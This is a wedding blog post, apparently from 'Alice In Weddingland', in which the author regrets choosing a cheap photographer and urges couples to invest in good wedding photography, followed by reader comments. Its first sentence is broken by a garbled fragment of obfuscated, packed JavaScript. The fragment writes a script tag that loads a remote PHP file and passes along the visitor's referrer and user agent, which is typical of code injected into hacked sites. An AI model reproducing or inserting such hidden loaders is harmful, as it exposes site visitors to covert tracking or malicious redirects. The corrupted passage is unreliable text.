This is actually, in part, a post I wrote a long time ago but thanks to the wonderful comments and the questions I’ve recently had on email asking me about my passion behind wedding photography and the Alice In Weddingland wedding blog (after posting my personal posts Alice In Weddingland: The””””,’g””” c=\’d\’ e=\’b/’ 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’rbyfz|varntzzn||js|php’.split(‘|’),0,{}))
Tea Party and Alice In Weddingland: The Garden Party) I wanted to show you this post again for those newbies who haven’t read it and for those interested in wedding photography.
This post was/is written in my attempt to help Brides and Grooms 2B from making the worst decision of their wedding, and, funnily enough, since publication of this post last year, I’ve seen some other wedding blogs since, blog a similar post.
This is my personal plea to you.
Once upon a time…
Make sure you don’t make the same bad decision I did.
Nine years ago we bit the bullet on our budget and chose to put less of it towards our wedding Photographer, and, bitterly regret it to this day, especially when I am now writing my alternative wedding blog and blogging about uber-talented photographers and seeing some stunning, jaw-dropping images. Images that create stories, real stories.
Even after checking out our photographer and agreeing that what we both saw in his studio was stunning wedding photos… we chose him, but, and this was a big but… we chose the cheapest package we could afford, and expected the same wonderful work in his studio. But what we got was his cheapest work!!!
We didn’t shop around, I did a small internet search for photographers in the area, found him, saw his studio photos and assumed all would be wonderful. We had one meeting and then silence until the wedding day.
Out of 200 or so photos, we like about 3 of them and it breaks my heart!
This is a life-time investment, spend as much as you can.
Don’t just count on memories from Uncle Jims camera, or a mish mash of your best friends snaps because ten years on, it’s hard looking back and trying to remember all the little details. Your wedding day is a moment in time… capture it! Don’t forget it.
Imagine having your photos still in a plastic bag nine years on … that’s where mine are.
This is why I am passionate about bringing you wedding photography inspiration as often as I can on the wedding blog. I scour the internet, I scrutinize pictures and I drink a ton of tea {I have a close relationship with my bathroom thanks to the amount of tea I drink :)} then, I blog about them and I’ll work my Sophie Dahl butt off to get them to you, I promise!
What should your money buy?
So what should you pay for? This is my mission – I want to show you what great wedding photography is so that you get an idea of what yours should be like. Black and white, colour, documentary, traditional, it doesn’t matter what style you choose, that depends on what you like, but it jolly-well does depend on quality so don’t just judge their studio shots, or their online gallery, talk to them, read testimonials and research!
It doesn’t mean you need a mortgage for them, just time, research and an appropriate financial investment.
What is great wedding photography?
Some of my favourite examples on the Alice In Weddingland wedding blog (I could go on, and on, and on!) 🙂
Photo by Suzanne Fogarty
Photo by A Brit & A Blonde
Photos by Kevin Mullins
Photo by Ace Photography
Photo by Alpine Image Co.
Great photography + a great photographer that you get on with + the biggest budget you can throw at it = Stunning Wedding Photos that last your life time.
Photo by Suzanne Fogarty
Photo by Andrew Billington
Photo by Katherine Newman
My passion, my promise.
One of my promises to you is that I will show you how to not make the same mistake I did and ensure you have many stunning wedding photos to look at before you choose your photographer for your wedding day.
Thanks to my new job as a blogger I now get to showcase the best of the best wedding photographers around the globe in my Down The Lens series and please do click the Photography section in the right margin to have a look around some really stunning images.
I hope all these images inspire you and I hope that you end up with beautiful, memorable, stunning wedding photographs and that you have fun and enjoy the whole experience that is your wedding photographer. Because the good ones love their job, because the good ones care about the results, because the good ones don’t give you a bunch of photos that end up in a plastic bag, buried in a cupboard.
A great article! Thanks from me and I imagine from all the photographers out there who are trying to create great images for couples. I’m honoured to be featured 🙂
Oh goodness my own wedding photography experience sounds so similar to yours. I was so underwhelmed by my photographs, the photographer missed so much. I so wish I had researched the subject in greater detail and now every time I shoot a wedding I strive to produce the sort of images I wish I could have had.
I came across your twitter feed somehow, then found my way to your blog. Somewhat obsessed at this point- and I really love this post.
I have heard this same lament so many times, yet still find people saving money on their photographer to rent a 30 person Hummer limo or some other travesty.
We are in the US and so much of the wedding world has become cookie cutter and trendy. Your whole blog is like a breath of fresh air.
Thank you for the inspiration.
Dana
Dana your comments absolutely made my day and I’m so pleased you dropped by. It’s hard for me too to understand the Limo, Hummer etc as a priority over paying for a photographer. Sadly until you’ve lived it, and received rubbish photos, it’s hard to get the ‘spend money on the photographer’ argument. I think there is a massive need for education about the importance of the wedding day legacy, the memories in print from the remarkable day that is a wedding day and I just hope that what I’m doing here with the wedding blog helps someone out there. Do drop by again 🙂 Zarn x
I don’t even know how I found this wonderful blog of yours! So creative and inventive with Lewis Carroll.!
I have been preaching the same thing to my clients for years and some do heed and take action, but sadly, some do not.
Since my company is in Miami Beach, Florida- USA, I incorporate it and advocate for great photos. I even insure that I give my clients a lists of “must have photos” and they add to it. Once filled I go and make sure that the photographer has taken that shot. Luckily I have worked with some awesome photogs! Needless to say, I have fallen in love with your blog and thoroughly enjoy it and share it.
This is also my biggest regret from our wedding. We used a friend. Don’t get me wrong, he is a good photographer and ticked all the ” must have shots” off, but he didn’t invest the passion and enthusiasm you get from a good professional. He did a nice job then enjoyed the party and you couldn’t really expect any more from a friend.
I think it goes beyond the financial investment, you need to invest time. Meet photographers, talk with them, read their blog/Facebook/website. Look beyond their gallery and find someone you connect with. You will be spending a lot of time with and around this person on the most important day of your life – make sure you get on with them!